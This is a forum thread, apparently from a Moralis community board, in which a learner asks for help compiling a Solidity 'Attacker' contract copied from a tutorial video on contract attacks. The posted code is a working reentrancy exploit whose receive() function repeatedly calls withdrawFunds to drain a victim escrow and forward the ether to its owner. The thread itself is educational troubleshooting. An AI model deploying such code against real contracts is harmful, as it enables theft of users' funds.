Hello everyone Iām new in moralis .oi ,so Iām here for a help, I was following a video that was post in YouTube about contract attack , so I think someone who is from moralis.oi did the video , please Iām here for help I have learn a lot of things about contract and I have create a new contract, but Iām trying to see how does attack works, so I copy a contract code that the person drop in the video so I complie the contract but my problem is that it has a lot of error and I donāt know why I wish you people can help me in this issues thank you
You will have to provide more info, like what errors are you getting, what is the contract code, how you are trying to compile it
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.9.0;
import {Escrow } from "./interfaces/EscrowInterface.sol";
contract Attacker {
event Exploited(address target, uint balance);
address owner; // Makes contract ownable.
Escrow escrow;
uint deposit;
bytes32 escrowID;
constructor (){
owner = msg.sender;
}
function attack(bytes32 _escrowID, address _victim, uint _deposit) external {
escrow = Escrow(_victim);
escrowID = _escrowID;
deposit = _deposit;
escrow.withdrawFunds(escrowID);
}
function transferBalance() external {
require (msg.sender == owner, "only owner function");
address payable _owner = payable(msg.sender);
_owner.transfer(address(this).balance);
}
receive() external payable {
if (address(escrow).balance >= deposit) {
escrow.withdrawFunds(escrowID);
}
emit Exploited(address(escrow), address(escrow).balance);
}
}
Hereās the code So if I try to complie it with is solidity code =0.6.2 , so itāll show ā/interfaces {EscrowInterface.solā; error but let me say from the beginning till stop at receive () external payable { ,it shows error , mean the contract code thereās a lot of mistake , please can you help me in this issues
this look like an import, you may also need the source code for that file that is used in this import
This contract a team from moralis.io may I video about attack so in the video , he also drop the contract code , which is the one I sent to you , but the problem is that thereās an error if I try to complie it , please can you help me look at the contract
Do you have the entire contract code?
Did you compile a contract before?
The contract code is 0.6.2 solidity
I mean the entire contract code not the version of solidity
I donāt know, but I think you can complie it and check
Hello sir please I need your help please if you see my message reply me please sir Iāll really appreciate you if you can help me, Iām having a bug whenever I try to complie my contract please you gotta to help me
check that import mentioned in this reply
Hereās the file source code sir ,you can look at it
was that code with that EscrowUnsafe included in the code that was compiled initially?
Yes sir ,the file source code can complie
But the little issues Iām having in first contract code is that thereās an error which Iām looking for a way to fix it thatās why I text, because the code was made by team of moralis.io , so sir I can show you the error Iām getting
I thought that the error was related to that import
what is the error that you get? when do you get that error?
Iām only getting error like parserError: Expected,ā;ā function,
And also thereās a lot of error, please can you help me and copy this contract code I sent to you, and complie it ,if you could help me fix the error
Can you look on how to post code on forum?
There is a forum thread that explains that.